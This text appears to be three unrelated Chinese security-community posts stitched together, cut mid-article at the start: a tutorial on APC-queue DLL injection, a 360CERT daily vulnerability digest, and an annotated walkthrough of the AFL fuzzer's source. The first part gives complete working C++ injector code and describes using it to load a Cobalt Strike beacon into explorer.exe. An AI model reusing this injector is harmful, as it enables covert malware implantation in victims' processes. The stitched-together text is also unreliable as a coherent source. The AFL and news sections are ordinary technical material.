参数2表示插入APC的线程句柄，要求线程句柄必须包含`THREAD_SET_CONTEXT` 访问权限。
参数3表示传递给执行函数的参数，与远线程注入类似，如果`QueueUserAPC`
的第一个参数为`LoadLibraryA`，第三个参数设置的是dll路径即可完成dll注入。
## 实现原理
往线程APC队列添加APC，系统会产生一个软中断。在线程下一次被调度的时候，就会执行APC函数，APC有两种形式，由系统产生的APC称为内核模式APC，由应用程序产生的APC被称为用户模式APC
介绍一下应用程序的APC
APC是往线程中插入一个回调函数,但是用的APC调用这个回调函数是有条件的.在Msdn的写法如下
上面说到要要使用`SleepEx`,`signalObjectAndWait`.....等等这些函数才会触发。
这就有了APC注入的条件：
1.必须是多线程环境下
2.注入的程序必须会调用上面的那些同步对象.
### 注入方法原理
1.当对面程序执行到某一个上面的等待函数的时候,系统会产生一个中断
2.当线程唤醒的时候,这个线程会优先去Apc队列中调用回调函数
3.我们利用QueueUserApc,往这个队列中插入一个回调
4.插入回调的时候,把插入的回调地址改为LoadLibrary,插入的参数我们使用VirtualAllocEx申请内存,并且写入进去
### 使用方法
1.利用快照枚举所有的线程
2.写入远程内存,写入的是Dll的路径
3.插入我们的DLL即可
## 实现过程
编写一个根据进程名获取pid的函数，然后根据PID获取所有的线程ID，这里我就将两个函数集合在一起，通过自己输入PID来获取指定进程的线程并写入数组
//列出指定进程的所有线程
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
// 申请空间
DWORD dwThreadIdListLength = 0;
DWORD dwThreadIdListMaxCount = 2000;
LPDWORD pThreadIdList = NULL;
HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pThreadIdList == NULL)
{
return FALSE;
}
RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
THREADENTRY32 th32 = { 0 };
// 拍摄快照
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);
if (hThreadSnap == INVALID_HANDLE_VALUE)
{
return FALSE;
}
// 结构的大小
th32.dwSize = sizeof(THREADENTRY32);
// 遍历所有THREADENTRY32结构, 按顺序填入数组
BOOL bRet = Thread32First(hThreadSnap, &th32);
while (bRet)
{
if (th32.th32OwnerProcessID == th32ProcessID)
{
if (dwThreadIdListLength >= dwThreadIdListMaxCount)
{
break;
}
pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
}
bRet = Thread32Next(hThreadSnap, &th32);
}
*pThreadIdListLength = dwThreadIdListLength;
*ppThreadIdList = pThreadIdList;
return TRUE;
}
然后是apc注入的主函数，首先使用`VirtualAllocEx`远程申请内存
BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength)
{
// 申请内存
PVOID lpAddr = NULL;
SIZE_T page_size = 4096;
lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpAddr == NULL)
{
ShowError("VirtualAllocEx - Error\n\n");
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
CloseHandle(hProcess);
return FALSE;
}
// 把Dll的路径复制到内存中
if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr))
{
ShowError("WriteProcessMemory - Error\n\n");
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
CloseHandle(hProcess);
return FALSE;
}
// 获得LoadLibraryA的地址
PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
// 遍历线程, 插入APC
float fail = 0;
for (int i = dwThreadIdListLength - 1; i >= 0; i--)
{
// 打开线程
HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
if (hThread)
{
// 插入APC
if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
{
fail++;
}
// 关闭线程句柄
::CloseHandle(hThread);
hThread = NULL;
}
}
使用`WriteProcessMemory`把dll路径写入内存
::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr)
获取`LoadLibraryA`的地址
PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
便利线程并插入APC，这里定义一个fail并进行判断，如果`QueueUserAPC`返回的值为NULL则线程遍历失败，fail的值就+1
for (int i = dwThreadIdListLength - 1; i >= 0; i--)
{
// 打开线程
HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
if (hThread)
{
// 插入APC
if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
{
fail++;
}
}
}
主函数，定义dll地址
strcpy_s(wzDllFullPath, "加载要注入的dll的路径");
使用`OpenProcess`打开句柄
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);
调用前面写好的`APCInject`函数实现APC注入
if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength))
{
printf("Failed to inject DLL\n");
return FALSE;
}
采用手动输入的方式，通过`cin >> ulProcessID`将接收到的参数赋给`ulProcessID`
## 利用此方法上线CS
### 完整代码
// inject3.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
#include <iostream>
#include<Windows.h>
#include<TlHelp32.h>
using namespace std;
void ShowError(const char* pszText)
{
char szError[MAX_PATH] = { 0 };
::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szError, "ERROR", MB_OK);
}
//列出指定进程的所有线程
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
// 申请空间
DWORD dwThreadIdListLength = 0;
DWORD dwThreadIdListMaxCount = 2000;
LPDWORD pThreadIdList = NULL;
HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pThreadIdList == NULL)
{
return FALSE;
}
RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
THREADENTRY32 th32 = { 0 };
// 拍摄快照
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);
if (hThreadSnap == INVALID_HANDLE_VALUE)
{
return FALSE;
}
// 结构的大小
th32.dwSize = sizeof(THREADENTRY32);
//遍历所有THREADENTRY32结构, 按顺序填入数组
BOOL bRet = Thread32First(hThreadSnap, &th32);
while (bRet)
{
if (th32.th32OwnerProcessID == th32ProcessID)
{
if (dwThreadIdListLength >= dwThreadIdListMaxCount)
{
break;
}
pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
}
bRet = Thread32Next(hThreadSnap, &th32);
}
*pThreadIdListLength = dwThreadIdListLength;
*ppThreadIdList = pThreadIdList;
return TRUE;
}
BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength)
{
// 申请内存
PVOID lpAddr = NULL;
SIZE_T page_size = 4096;
lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpAddr == NULL)
{
ShowError("VirtualAllocEx - Error\n\n");
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
CloseHandle(hProcess);
return FALSE;
}
// 把Dll的路径复制到内存中
if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr))
{
ShowError("WriteProcessMemory - Error\n\n");
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
CloseHandle(hProcess);
return FALSE;
}
// 获得LoadLibraryA的地址
PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
// 遍历线程, 插入APC
float fail = 0;
for (int i = dwThreadIdListLength - 1; i >= 0; i--)
{
// 打开线程
HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
if (hThread)
{
// 插入APC
if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
{
fail++;
}
// 关闭线程句柄
::CloseHandle(hThread);
hThread = NULL;
}
}
printf("Total Thread: %d\n", dwThreadIdListLength);
printf("Total Failed: %d\n", (int)fail);
if ((int)fail == 0 || dwThreadIdListLength / fail > 0.5)
{
printf("Success to Inject APC\n");
return TRUE;
}
else
{
printf("Inject may be failed\n");
return FALSE;
}
}
int main()
{
ULONG32 ulProcessID = 0;
printf("Input the Process ID:");
cin >> ulProcessID;
CHAR wzDllFullPath[MAX_PATH] = { 0 };
LPDWORD pThreadIdList = NULL;
DWORD dwThreadIdListLength = 0;
#ifndef _WIN64
strcpy_s(wzDllFullPath, "加载要注入的dll的路径");
#else // _WIN64
strcpy_s(wzDllFullPath, "加载要注入的dll的路径");
#endif
if (!GetProcessThreadList(ulProcessID, &pThreadIdList, &dwThreadIdListLength))
{
printf("Can not list the threads\n");
exit(0);
}
//打开句柄
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);
if (hProcess == NULL)
{
printf("Failed to open Process\n");
return FALSE;
}
//注入
if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength))
{
printf("Failed to inject DLL\n");
return FALSE;
}
return 0;
}
### 上线cs
首先CS建立监听，生成一个恶意dll文件
在目标机上运行编译好的exe文件，并输入要注入进程的PID,这里我使用explorer.exe测试
编译，输入PID
查看CS，已经成功上线，且进程也加载了beacon.dll. | 社区文章 |
# 4月29日安全热点 - WordPress的“Form Maker by WD”插件允许CSV注入漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 【漏洞】
1.CVE-2018-10504：WordPress的“Form Maker by WD”插件允许CSV注入漏洞
[http://t.cn/RuKh4M4](http://t.cn/RuKh4M4)
2.以太币令牌（UET）的智能合约实施的transferFrom功能允许攻击者窃取资产
<http://t.cn/RuKhq0N>
3.CVE-XXX（quasselclient / quasselcore版本0.12.4）：堆远程代码执行和空指针DDOS
<http://t.cn/RuKhtcq>
4.Google Chrome V8 AwaitedPromise更新错误
<http://t.cn/RuKhc3O>
## 【安全事件】
1.MyEtherWallet DNS黑客造成1700万美元的用户损失
<http://t.cn/RuKhI4F>
2.欧洲和美国警方袭击了伊斯兰国家的宣传机器
<http://t.cn/RuSVCdj>
3.IE Zero-Day“双杀”及360发现的第一个野外攻击
<http://t.cn/RuKhJAR>
## 【安全资讯】
1.荷兰警方关闭臭名昭着的’复仇色情’网站，三名男子被捕
<http://t.cn/RuiiaoK>
2.Mozilla为Firefox添加新的CSRF保护
<http://t.cn/Ru6ehiL>
3.微软发布更多针对英特尔CPU的Spectre更新
<http://t.cn/RuKhS8g>
4.Drupal代码执行漏洞正在被积极利用[更新]
<http://t.cn/RuMzC7q>
## 【安全研究】
1.Zebrocy的第一阶段恶意软件破解分析
<http://t.cn/RuSMubN>
2.Windows：NTFS的DOS攻击漏洞已公布POC
<http://t.cn/RuaLpF4>
3.如何使用武器化的PDF文档来窃取Windows凭据
<http://t.cn/RuoQg65>
4.Grok后门 – 带Ngrok隧道支持的后门
<http://t.cn/RuKhOIj>
5.劫机者v1.5 – 适用于Android的多合一Wi-Fi破解工具
<http://t.cn/RMbnTfP>
6.华为Mate 9 Pro Exploit
<http://t.cn/RuMPZ3v>
## 【恶意软件】
1.黑客在医疗设备中感染X光机
<http://t.cn/RuKhYIB>
【以上信息整理于[ https://cert.360.cn/daily](https://cert.360.cn/daily) 】
**360CERT全称“360 Computer Emergency Readiness
Team”，我们致力于维护计算机网络空间安全，是360基于”协同联动，主动发现，快速响应”的指导原则，对全球重要网络安全事件进行快速预警、应急响应的安全协调中心。**
**微信公众号：360cert** | 社区文章 |
# sakuraのAFL源码全注释（三）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## afl-fuzz长叙
### Fuzz执行
#### 主循环
* 首先精简队列`cull_queue`
* 然后如果`queue_cur`为空，代表所有queue都被执行完一轮
* 设置queue_cycle计数器加一，即代表所有queue被完整执行了多少轮。
* 设置current_entry为0，和queue_cur为queue首元素，开始新一轮fuzz。
* 如果是resume fuzz情况，则先检查seek_to是否为空，如果不为空，就从seek_to指定的queue项开始执行。
* 刷新展示界面`show_stats`
* 如果在一轮执行之后的queue里的case数，和执行之前一样，代表在完整的一轮执行里都没有发现任何一个新的case
* 如果use_splicing为1，就设置cycles_wo_finds计数器加1
* 否则，设置use_splicing为1，代表我们接下来要通过splice重组queue里的case。
* 执行`skipped_fuzz = fuzz_one(use_argv)`来对queue_cur进行一次测试
* 注意fuzz_one并不一定真的执行当前queue_cur，它是有一定策略的，如果不执行，就直接返回1，否则返回0
* 如果skipped_fuzz为0，且存在sync_id
* sync_interval_cnt计数器加一，如果其结果是SYNC_INTERVAL(默认是5)的倍数，就进行一次sync
* `queue_cur = queue_cur->next;current_entry++;`，开始测试下一个queue
#### fuzz_one
* 如果`pending_favored`不为0，则对于queue_cur被fuzz过或者不是favored的，有99%的几率直接返回1。
* 如果`pending_favored`为0且queued_paths(即queue里的case总数)大于10
* 如果queue_cycle大于1且queue_cur没有被fuzz过，则有75%的概率直接返回1
* 如果queue_cur被fuzz过，否则有95%的概率直接返回1
* 设置len为`queue_cur->len`
* 打开该case对应的文件，并通过mmap映射到内存里，地址赋值给`in_buf`和`orig_in`
* 分配len大小的内存，并初始化为全0，然后将地址赋值给out_buf
* **以下关于每部分的变异，因为我在改fuzz的时候，也并不十分需要AFL的原生变异，而是直接替换成我自己写的mutate，而这部分的代码要详细解释又都全是位运算，所以我只是写了几个以供大家参考阅读，剩下更多的参考了[这篇文章](http://rk700.github.io/2018/01/04/afl-mutations)的内容，如嫌我写的冗杂，可移步阅读**
**CALIBRATION阶段**
* 假如当前项有校准错误，并且校准错误次数小于3次，那么就用calibrate_case再次校准。
**TRIMMING阶段**
* 如果该case没有trim过，
* 调用函数`trim_case(argv, queue_cur, in_buf)`进行trim(修剪)
* 设置queue_cur的trim_done为1
* 重新读取一次`queue_cur->len`到len中
* 将in_buf拷贝len个字节到out_buf中
**PERFORMANCE SCORE阶段**
* perf_score = `calculate_score(queue_cur)`
* 如果skip_deterministic为1，或者queue_cur被fuzz过，或者queue_cur的passed_det为1，则跳转去havoc_stage阶段
* 设置doing_det为1
**SIMPLE BITFLIP (+dictionary construction)阶段**
* 下面这个宏很有意思
#define FLIP_BIT(_ar, _b) do { \
u8* _arf = (u8*)(_ar); \
u32 _bf = (_b); \
_arf[(_bf) >> 3] ^= (128 >> ((_bf) & 7)); \
} while (0)
* 设置stage_name为`bitflip 1/1`,_ar的取值是out_buf,而_bf的取值在[0: len << 3)
所以用`_bf & 7`能够得到`0,1,2...7 0,1,2...7`这样的取值一共len组，然后`(_bf) >> 3`又将[0:
len<<3)映射回了[0: len)，对应到buf里的每个byte，如图:
所以在从`0-len*8`的遍历过程中会通过亦或运算，依次将每个位翻转，然后执行一次`common_fuzz_stuff`，然后再翻转回来。
stage_max = len << 3;
for (stage_cur = 0; stage_cur < stage_max; stage_cur++)
{
FLIP_BIT(out_buf, stage_cur);
if (common_fuzz_stuff(argv, out_buf, len)) goto abandon_entry;
FLIP_BIT(out_buf, stage_cur);
}
* 在进行bitflip 1/1变异时，对于每个byte的最低位(least significant bit)翻转还进行了额外的处理：如果连续多个bytes的最低位被翻转后，程序的执行路径都未变化，而且与原始执行路径不一致，那么就把这一段连续的bytes判断是一条token。
比如对于SQL的`SELECT
*`，如果`SELECT`被破坏，则肯定和正确的路径不一致，而被破坏之后的路径却肯定是一样的，比如`AELECT`和`SBLECT`，显然都是无意义的，而只有不破坏token，才有可能出现和原始执行路径一样的结果，所以AFL在这里就是在猜解关键字token。
* token默认最小是3，最大是32,每次发现新token时，通过`maybe_add_auto`添加到`a_extras`数组里。
* `stage_finds[STAGE_FLIP1]`的值加上在整个FLIP_BIT中新发现的路径和Crash总和
* `stage_cycles[STAGE_FLIP1]`的值加上在整个FLIP_BIT中执行的target次数`stage_max`
* 设置stage_name为`bitflip 2/1`,原理和之前一样，只是这次是连续翻转相邻的两位。
stage_max = (len << 3) - 1;
for (stage_cur = 0; stage_cur < stage_max; stage_cur++)
{
FLIP_BIT(out_buf, stage_cur);
FLIP_BIT(out_buf, stage_cur + 1);
if (common_fuzz_stuff(argv, out_buf, len)) goto abandon_entry;
FLIP_BIT(out_buf, stage_cur);
FLIP_BIT(out_buf, stage_cur + 1);
}
* 然后保存结果到`stage_finds[STAGE_FLIP2]和stage_cycles[STAGE_FLIP2]`里。
* 同理，设置stage_name为`bitflip 4/1`，翻转连续的四位并记录。
* 生成effector map
* 在进行bitflip 8/8变异时，AFL还生成了一个非常重要的信息：effector map。这个effector map几乎贯穿了整个deterministic fuzzing的始终。
* 具体地，在对每个byte进行翻转时，如果其造成执行路径与原始路径不一致，就将该byte在effector map中标记为1，即“有效”的，否则标记为0，即“无效”的。
* 这样做的逻辑是：如果一个byte完全翻转，都无法带来执行路径的变化，那么这个byte很有可能是属于”data”，而非”metadata”（例如size, flag等），对整个fuzzing的意义不大。所以，在随后的一些变异中，会参考effector map，跳过那些“无效”的byte，从而节省了执行资源。
* 由此，通过极小的开销（没有增加额外的执行次数），AFL又一次对文件格式进行了启发式的判断。看到这里，不得不叹服于AFL实现上的精妙。
* 不过，在某些情况下并不会检测有效字符。第一种情况就是dumb mode或者从fuzzer，此时文件所有的字符都有可能被变异。第二、第三种情况与文件本身有关：
* 设置stage_name为`bitflip 8/8`，以字节为单位，直接通过和`0xff`亦或运算去翻转整个字节的位，然后执行一次，并记录。
* 设置stage_name为`bitflip 16/8`，设置`stage_max`为`len - 1`，以字为单位和`0xffff`进行亦或运算，去翻转相邻的两个字节(即一个字的)的位。
* 这里要注意在翻转之前会先检查eff_map里对应于这两个字节的标志是否为0，如果为0，则这两个字节是无效的数据，stage_max减一，然后开始变异下一个字。
* common_fuzz_stuff执行变异后的结果，然后还原。
* 同理，设置stage_name为`bitflip 32/8`，然后设置`stage_max`为`len - 3`，以双字为单位，直接通过和`0xffffffff`亦或运算去相邻四个字节的位，然后执行一次，并记录。
* 在每次翻转之前会检查eff_map里对应于这四个字节的标志是否为0，如果是0，则这两个字节是无效的数据，stage_max减一，然后开始变异下一组双字。
**ARITHMETIC INC/DEC**
* 在bitflip变异全部进行完成后，便进入下一个阶段：arithmetic。与bitflip类似的是，arithmetic根据目标大小的不同，也分为了多个子阶段：
* arith 8/8，每次对8个bit进行加减运算，按照每8个bit的步长从头开始，即对文件的每个byte进行整数加减变异
* arith 16/8，每次对16个bit进行加减运算，按照每8个bit的步长从头开始，即对文件的每个word进行整数加减变异
* arith 32/8，每次对32个bit进行加减运算，按照每8个bit的步长从头开始，即对文件的每个dword进行整数加减变异
* 加减变异的上限，在config.h中的宏ARITH_MAX定义，默认为35。所以，对目标整数会进行+1, +2, …, +35, -1, -2, …, -35的变异。特别地，由于整数存在大端序和小端序两种表示方式，AFL会贴心地对这两种整数表示方式都进行变异。
* 此外，AFL还会智能地跳过某些arithmetic变异。第一种情况就是前面提到的effector map：如果一个整数的所有bytes都被判断为“无效”，那么就跳过对整数的变异。第二种情况是之前bitflip已经生成过的变异：如果加/减某个数后，其效果与之前的某种bitflip相同，那么这次变异肯定在上一个阶段已经执行过了，此次便不会再执行。
**INTERESTING VALUES**
* 下一个阶段是interest，具体可分为：
* interest 8/8，每次对8个bit进替换，按照每8个bit的步长从头开始，即对文件的每个byte进行替换
* interest 16/8，每次对16个bit进替换，按照每8个bit的步长从头开始，即对文件的每个word进行替换
* interest 32/8，每次对32个bit进替换，按照每8个bit的步长从头开始，即对文件的每个dword进行替换
* 而用于替换的”interesting values”，是AFL预设的一些比较特殊的数,这些数的定义在config.h文件中
static s8 interesting_8[] = { INTERESTING_8 };
static s16 interesting_16[] = { INTERESTING_8, INTERESTING_16 };
static s32 interesting_32[] = { INTERESTING_8, INTERESTING_16, INTERESTING_32 };
* 与之前类似，effector map仍然会用于判断是否需要变异；此外，如果某个interesting value，是可以通过bitflip或者arithmetic变异达到，那么这样的重复性变异也是会跳过的。
**DICTIONARY STUFF**
进入到这个阶段，就接近deterministic fuzzing的尾声了。具体有以下子阶段：
* user extras(over),从头开始,将用户提供的tokens依次替换到原文件中,stage_max为`extras_cnt * len`
* user extras(insert),从头开始,将用户提供的tokens依次插入到原文件中,stage_max为`extras_cnt * len`
* auto extras(over),从头开始,将自动检测的tokens依次替换到原文件中,stage_max为`MIN(a_extras_cnt, USE_AUTO_EXTRAS) * len`
* 其中，用户提供的tokens，是在词典文件中设置并通过-x选项指定的，如果没有则跳过相应的子阶段。
**RANDOM HAVOC**
* 对于非dumb mode的主fuzzer来说，完成了上述deterministic fuzzing后，便进入了充满随机性的这一阶段；对于dumb mode或者从fuzzer来说，则是直接从这一阶段开始。
* havoc，顾名思义，是充满了各种随机生成的变异，是对原文件的“大破坏”。具体来说，havoc包含了对原文件的多轮变异，每一轮都是将多种方式组合（stacked）而成：
* 随机选取某个bit进行翻转
* 随机选取某个byte，将其设置为随机的interesting value
* 随机选取某个word，并随机选取大、小端序，将其设置为随机的interesting value
* 随机选取某个dword，并随机选取大、小端序，将其设置为随机的interesting value
* 随机选取某个byte，对其减去一个随机数
* 随机选取某个byte，对其加上一个随机数
* 随机选取某个word，并随机选取大、小端序，对其减去一个随机数
* 随机选取某个word，并随机选取大、小端序，对其加上一个随机数
* 随机选取某个dword，并随机选取大、小端序，对其减去一个随机数
* 随机选取某个dword，并随机选取大、小端序，对其加上一个随机数
* 随机选取某个byte，将其设置为随机数
* 随机删除一段bytes
* 随机选取一个位置，插入一段随机长度的内容，其中75%的概率是插入原文中随机位置的内容，25%的概率是插入一段随机选取的数
* 随机选取一个位置，替换为一段随机长度的内容，其中75%的概率是替换成原文中随机位置的内容，25%的概率是替换成一段随机选取的数
* 随机选取一个位置，用随机选取的token（用户提供的或自动生成的）替换
* 随机选取一个位置，用随机选取的token（用户提供的或自动生成的）插入
* 怎么样，看完上面这么多的“随机”，有没有觉得晕？还没完，AFL会生成一个随机数，作为变异组合的数量，并根据这个数量，每次从上面那些方式中随机选取一个（可以参考高中数学的有放回摸球），依次作用到文件上。如此这般丧心病狂的变异，原文件就大概率面目全非了，而这么多的随机性，也就成了fuzzing过程中的不可控因素，即所谓的“看天吃饭”了。
* splice
* 设置ret_val的值为0
* 如果queue_cur通过了评估，且was_fuzzed字段是0，就设置`queue_cur->was_fuzzed`为1，然后pending_not_fuzzed计数器减一
如果queue_cur是favored, pending_favored计数器减一。
#### sync_fuzzers(char **argv)
这个函数其实就是读取其他sync文件夹下的queue文件，然后保存到自己的queue里。
* 打开`sync_dir`文件夹
* while循环读取该文件夹下的目录和文件`while ((sd_ent = readdir(sd)))`
* 跳过`.`开头的文件和`sync_id`即我们自己的输出文件夹
* 读取`out_dir/.synced/sd_ent->d_name`文件即`id_fd`里的前4个字节到`min_accept`里，设置`next_min_accept`为`min_accept`，这个值代表之前从这个文件夹里读取到的最后一个queue的id。
* 设置stage_name为`sprintf(stage_tmp, "sync %u", ++sync_cnt);`，设置stage_cur为0，stage_max为0
* 循环读取`sync_dir/sd_ent->d_name/queue`文件夹里的目录和文件
* 同样跳过`.`开头的文件和标识小于min_accept的文件，因为这些文件应该已经被sync过了。
* 如果标识`syncing_case`大于等于next_min_accept，就设置next_min_accept为`syncing_case + 1`
* 开始同步这个case
* 如果case大小为0或者大于MAX_FILE(默认是1M),就不进行sync。
* 否则mmap这个文件到内存mem里，然后`write_to_testcase(mem, st.st_size)`,并run_target,然后通过save_if_interesting来决定是否要导入这个文件到自己的queue里，如果发现了新的path，就导入。
* 设置syncing_party的值为`sd_ent->d_name`
* 如果save_if_interesting返回1，queued_imported计数器就加1
* stage_cur计数器加一，如果stage_cur是stats_update_freq的倍数，就刷新一次展示界面。
* 向id_fd写入当前的`next_min_accept`值
* 总结来说，这个函数就是先读取有哪些fuzzer文件夹，然后读取其他fuzzer文件夹下的queue文件夹里的case，并依次执行，如果发现了新path，就保存到自己的queue文件夹里，而且将最后一个sync的case id写入到`.synced/其他fuzzer文件夹名`文件里，以避免重复运行。
#### trim_case(char _*argv, struct queue_entry_ q, u8 *in_buf)
* 如果这个case的大小len小于5字节，就直接返回
* 设置stage_name的值为tmp，在bytes_trim_in的值里加上len，bytes_trim_in代表被trim过的字节数
* 计算len_p2，其值是大于等于q->len的第一个2的幂次。（eg.如果len是5704,那么len_p2就是8192）
* 取`len_p2的1/16`为remove_len，这是起始步长。
* 进入while循环，终止条件是remove_len小于终止步长`len_p2的1/1024`, **每轮循环步长会除2.**
* 设置remove_pos的值为remove_len
* 读入`"trim %s/%s", DI(remove_len), DI(remove_len)`到tmp中, 即stage_name = “trim 512/512”
* 设置stage_cur为0，stage_max为`q->len / remove_len`
* 进入while循环，`remove_pos < q->len`,即每次前进remove_len个步长，直到整个文件都被遍历完为止。
* 由in_buf中remove_pos处开始，向后跳过remove_len个字节，写入到`.cur_input`里，然后运行一次`fault = run_target`，trim_execs计数器加一
* 由所得trace_bits计算出一个cksum，和`q->exec_cksum`比较
* 如果相等
* 从`q->len`中减去remove_len个字节，并由此重新计算出一个`len_p2`，这里注意一下`while (remove_len >= MAX(len_p2 / TRIM_END_STEPS, TRIM_MIN_BYTES))`
* 将`in_buf+remove_pos+remove_len`到最后的字节，前移到`in_buf+remove_pos`处，等于删除了remove_pos向后的remove_len个字节。
* 如果needs_write为0，则设置其为1，并保存当前trace_bits到clean_trace中。
* 如果不相等
* remove_pos加上remove_len，即前移remove_len个字节。 **注意，如果相等，就无需前移**
* 注意trim过程可能比较慢，所以每执行stats_update_freq次，就刷新一次显示界面`show_stats`
* stage_cur加一
* 如果needs_write为1
* 删除原来的q->fname，创建一个新的q->fname，将in_buf里的内容写入，然后用clean_trace恢复trace_bits的值。
* 进行一次update_bitmap_score
* 返回fault
#### u32 calculate_score(struct queue_entry *q)
根据queue entry的执行速度、覆盖到的path数和路径深度来评估出一个得分，这个得分perf_score在后面havoc的时候使用。
前面的没什么好说的，这里的`q->depth`解释一下，它在每次add_to_queue的时候，会设置为`cur_depth+1`，而cur_depth是一个全局变量，一开始的初始值为0。
* 处理输入时
* 在read_testcases的时候会调用add_to_queue，此时所有的input case的queue depth都会被设置为1。
* fuzz_one时
* 然后在后面fuzz_one的时候，会先设置cur_depth为当前queue的depth，然后这个queue经过mutate之后调用save_if_interesting,如果是interesting case，就会被add_to_queue，此时就建立起了queue之间的关联关系，所以由当前queue变异加入的新queue，深度都在当前queue的基础上再增加。
#### u8 common_fuzz_stuff(char _*argv, u8_ out_buf, u32 len)
简单的说就是写入文件并执行，然后处理结果，如果出现错误，就返回1.
* 如果定义了`post_handler`,就通过`out_buf = post_handler(out_buf, &len)`处理一下out_buf，如果out_buf或者len有一个为0，则直接返回0
* **这里其实很有价值，尤其是如果需要对变异完的queue，做一层wrapper再写入的时候。**
* write_to_testcase(out_buf, len)
* fault = run_target(argv, exec_tmout)
* 如果fault是FAULT_TMOUT
* 如果`subseq_tmouts++ > TMOUT_LIMIT`（默认250），就将cur_skipped_paths加一，直接返回1
* subseq_tmout是连续超时数
* 否则设置subseq_tmouts为0
* 如果skip_requested为1
* 设置skip_requested为0，然后将cur_skipped_paths加一，直接返回1
* queued_discovered += save_if_interesting(argv, out_buf, len, fault)，即如果发现了新的路径才会加一。
* 如果stage_cur除以stats_update_freq余数是0，或者其加一等于stage_max，就更新展示界面`show_stats`
* 返回0
#### void write_to_testcase(void *mem, u32 len)
将从`mem`中读取`len`个字节，写入到`.cur_input`中
#### u8 save_if_interesting(char _*argv, void_ mem, u32 len, u8 fault)
检查这个case的执行结果是否是interesting的，决定是否保存或跳过。如果保存了这个case，则返回1，否则返回0
以下分析不包括crash_mode，暂时略过以简洁
* 设置keeping等于0
* `hnb = has_new_bits(virgin_bits)`，如果没有新的path发现或者path命中次数相同，就直接返回0
* 否则，将case保存到`fn = alloc_printf("%s/queue/id:%06u,%s", out_dir, queued_paths, describe_op(hnb))`文件里
* `add_to_queue(fn, len, 0);`将其添加到队列里
* 如果hnb的值是2，代表发现了新path，设置刚刚加入到队列里的queue的has_new_cov字段为1，即`queue_top->has_new_cov = 1`，然后queued_with_cov计数器加一
* 保存hash到其exec_cksum
* 评估这个queue，`calibrate_case(argv, queue_top, mem, queue_cycle - 1, 0)`
* 设置keeping值为1.
* 根据fault结果进入不同的分支
* FAULT_TMOUT
* 设置total_tmouts计数器加一
* 如果unique_hangs的个数超过能保存的最大数量`KEEP_UNIQUE_HANG`，就直接返回keeping的值
* 如果不是dumb mode，就`simplify_trace((u64 *) trace_bits)`进行规整。
* 如果没有发现新的超时路径，就直接返回keeping
* 否则，代表发现了新的超时路径，unique_tmouts计数器加一
* 如果hang_tmout大于exec_tmout，则以hang_tmout为timeout，重新执行一次runt_target
* 如果结果为`FAULT_CRASH`，就跳转到keep_as_crash
